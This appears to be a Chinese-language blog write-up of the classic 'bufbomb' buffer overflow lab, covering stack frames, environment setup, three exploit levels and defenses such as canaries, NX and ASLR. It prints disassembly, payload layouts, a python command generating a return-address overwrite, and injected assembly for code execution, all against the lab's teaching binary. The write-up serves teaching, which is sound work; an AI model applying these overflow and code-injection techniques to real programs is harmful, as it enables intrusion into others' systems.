1. 缓冲区溢出攻击的基本原理
我第一次接触缓冲区溢出漏洞是在大学的安全课程上,当时教授用一个简单的C程序演示了如何通过输入超长字符串让程序崩溃。这种看似简单的现象背后,隐藏着计算机系统最经典的安全漏洞之一。
缓冲区溢出本质上是一种内存越界写入问题。当程序向固定长度的缓冲区写入数据时,如果没有检查输入长度,超出的数据就会"溢出"到相邻内存区域。这就像往一个500ml的杯子里倒600ml水,多出来的100ml会流到桌面上。
在x86架构中,函数调用时会形成栈帧结构,包含局部变量、保存的寄存器值和返回地址。以这个实验中的getbuf函数为例:
int getbuf() { char buf[12]; Gets(buf); return 1; }这里的buf是只有12字节的字符数组,但Gets函数会无限制地读取输入,直到遇到换行符或EOF。如果我们输入超过12个字符(实际需要考虑null终止符),多出的数据就会覆盖栈上的其他数据,包括关键的返回地址。
2. 实验环境搭建与工具准备
做这个实验前,我们需要准备好以下环境:
- Linux系统:推荐Ubuntu 18.04或20.04 LTS版本
- 32位兼容库:因为实验用的是32位程序,在64位系统上需要安装:
sudo apt-get install gcc-multilib- 必要工具:
- GDB调试器:
sudo apt-get install gdb - objdump:通常随binutils包安装
- make和gcc:用于编译辅助工具
- GDB调试器:
我在第一次实验时就遇到了问题 - 直接运行bufbomb时报错"无法执行二进制文件"。这是因为64位系统默认不运行32位程序。解决方法就是安装上面提到的32位兼容库。
调试时有个小技巧:使用gdb -tui可以开启图形化界面,同时查看代码和寄存器状态。对于分析栈帧结构特别有帮助。
3. 第一关:修改返回地址
第一关的目标是让getbuf()返回到smoke()函数而非原来的test()。这需要精确控制溢出数据覆盖返回地址的位置。
通过objdump分析getbuf的汇编代码:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 28 sub $0x28,%esp 80491fa: 8d 45 e8 lea -0x18(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 6d ff ff ff call 8049170 <Gets> 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret关键信息:
sub $0x28,%esp:分配了40字节栈空间(0x28)lea -0x18(%ebp),%eax:buf起始地址在ebp-0x18(24字节处)- 返回地址在ebp+4的位置
所以payload结构应该是:
[24字节填充][4字节旧ebp][4字节smoke地址]使用python生成payload很方便:
python -c "print('A'*24 + 'BBBB' + '\xb0\x8e\x04\x08')" > input.txt4. 第二关:带参数的函数跳转
第二关难度升级,不仅要跳转到fizz()函数,还要传入正确的cookie参数。这需要理解函数调用时参数是如何传递的。
分析fizz的汇编代码:
08048e60 <fizz>: 8048e60: 55 push %ebp 8048e61: 89 e5 mov %esp,%ebp 8048e63: 83 ec 08 sub $0x8,%esp 8048e66: 8b 45 08 mov 0x8(%ebp),%eax 8048e69: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax ...可以看出参数是通过ebp+8的位置传递的。在正常的函数调用中,call指令会先将返回地址压栈,所以第一个参数在ebp+8。
但在我们的攻击中,是通过直接修改返回地址实现的"非正常"跳转,没有经过call指令。因此需要在返回地址后面放置参数。
payload结构变为:
[24字节填充][4字节旧ebp][4字节fizz地址][4字节任意返回地址][4字节cookie]这里有个坑点:在fizz函数开头会执行push %ebp和mov %esp,%ebp,所以实际参数位置会比我们预想的低4字节。因此需要在cookie前加4字节填充。
5. 第三关:代码注入与全局变量修改
第三关是最复杂的,要求先修改全局变量global_value,再跳转到bang()函数。这需要注入一段汇编代码并执行。
基本思路是:
- 编写汇编代码完成global_value = cookie
- 将这段代码的机器码作为输入的一部分
- 让getbuf返回到我们注入代码的地址
汇编代码大致如下:
mov 0x804a1d4, %eax # 读取cookie值 mov %eax, 0x804a1c4 # 写入global_value push $0x08048e10 # bang地址压栈 ret # 跳转到bang将这段代码编译后提取机器码:
gcc -m32 -c code.s objdump -d code.o关键是要确定buf的准确地址。可以通过gdb调试获取:
(gdb) break getbuf (gdb) run (gdb) print $ebp-0x18最终payload结构:
[注入的机器码][填充至返回地址][buf起始地址]6. 防御措施与最佳实践
完成攻击实验后,我们应该思考如何防御这类漏洞。现代系统已经有很多防护机制:
- 栈保护(Stack Canary):编译器在栈上插入随机值,在返回前检查是否被修改
- DEP/NX(数据执行保护):将数据段标记为不可执行
- ASLR(地址空间随机化):随机化内存地址,使攻击者难以确定跳转地址
在开发中应该:
- 永远使用安全的字符串函数(strncpy代替strcpy)
- 对所有输入进行长度检查
- 使用现代编译器的安全选项(-fstack-protector)
我在实际项目中就遇到过因为strcpy导致的潜在漏洞,通过代码审计工具发现后,全部替换成了带长度检查的安全版本。安全无小事,特别是在处理用户输入时,一定要保持警惕。